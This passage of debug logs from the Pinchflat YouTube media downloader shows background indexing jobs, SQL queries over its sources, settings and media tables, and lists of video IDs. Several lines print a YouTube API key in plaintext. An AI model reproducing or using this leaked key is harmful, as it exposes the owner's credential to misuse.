"3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 16:06:34.821 [debug] QUERY OK source="media_items" db=1.3ms idle=119.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:06:34.823 [debug] QUERY OK source="tasks" db=0.2ms idle=120.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799890, 16, ~U[2026-02-10 22:06:34Z], ~U[2026-02-10 22:06:34Z]] 16:06:34.823 [info] {"args":{"id":16},"id":3799851,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122318,"event":"job:stop","queue_time":508067,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:35.702 [info] {"args":{"id":43},"id":3799852,"meta":{},"system_time":1770761195702785521,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:35.703 [debug] QUERY OK source="sources" db=0.1ms idle=879.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:06:35.703 [debug] QUERY OK source="settings" db=0.1ms idle=879.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:35.703 [debug] QUERY OK source="media_profiles" db=0.1ms idle=873.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:35.703 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:35.703 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:06:35.704 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:35.704 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:35.861 [debug] QUERY OK source="media_items" db=0.8ms idle=157.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 16:06:35.863 [debug] QUERY OK source="media_items" db=0.3ms idle=159.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:06:35.864 [debug] QUERY OK source="tasks" db=0.1ms idle=159.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799891, 43, ~U[2026-02-10 22:06:35Z], ~U[2026-02-10 22:06:35Z]] 16:06:35.864 [info] {"args":{"id":43},"id":3799852,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":161302,"event":"job:stop","queue_time":483061,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:37.704 [info] {"args":{"id":25},"id":3799853,"meta":{},"system_time":1770761197704768074,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:37.704 [info] {"args":{"id":7},"id":3799854,"meta":{},"system_time":1770761197704828545,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:37.705 [debug] QUERY OK source="sources" db=0.2ms idle=826.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:06:37.705 [debug] QUERY OK source="sources" db=0.2ms idle=826.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:06:37.705 [debug] QUERY OK source="settings" db=0.1ms idle=826.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:37.705 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:37.705 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:37.705 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:37.705 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:37.705 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:06:37.706 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:37.706 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:06:37.706 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:37.706 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:37.706 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:37.706 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:37.792 [debug] QUERY OK source="media_items" db=0.6ms idle=85.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 16:06:37.794 [debug] QUERY OK source="media_items" db=1.2ms idle=87.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:06:37.795 [debug] QUERY OK source="tasks" db=0.1ms idle=88.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799892, 25, ~U[2026-02-10 22:06:37Z], ~U[2026-02-10 22:06:37Z]] 16:06:37.795 [info] {"args":{"id":25},"id":3799853,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":90499,"event":"job:stop","queue_time":502027,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:37.866 [debug] QUERY OK source="media_items" db=0.6ms idle=71.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 16:06:37.869 [debug] QUERY OK source="media_items" db=1.9ms idle=72.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:06:37.870 [debug] QUERY OK source="tasks" db=0.1ms idle=68.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799893, 7, ~U[2026-02-10 22:06:37Z], ~U[2026-02-10 22:06:37Z]] 16:06:37.870 [info] {"args":{"id":7},"id":3799854,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":165490,"event":"job:stop","queue_time":428846,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:38.706 [info] {"args":{"id":20},"id":3799855,"meta":{},"system_time":1770761198706738276,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:38.707 [debug] QUERY OK source="sources" db=0.2ms idle=836.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:06:38.707 [debug] QUERY OK source="settings" db=0.1ms idle=836.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:38.707 [debug] QUERY OK source="media_profiles" db=0.0ms idle=830.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:38.707 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:38.707 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:06:38.707 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:38.707 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:38.836 [debug] QUERY OK source="media_items" db=0.6ms idle=128.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", 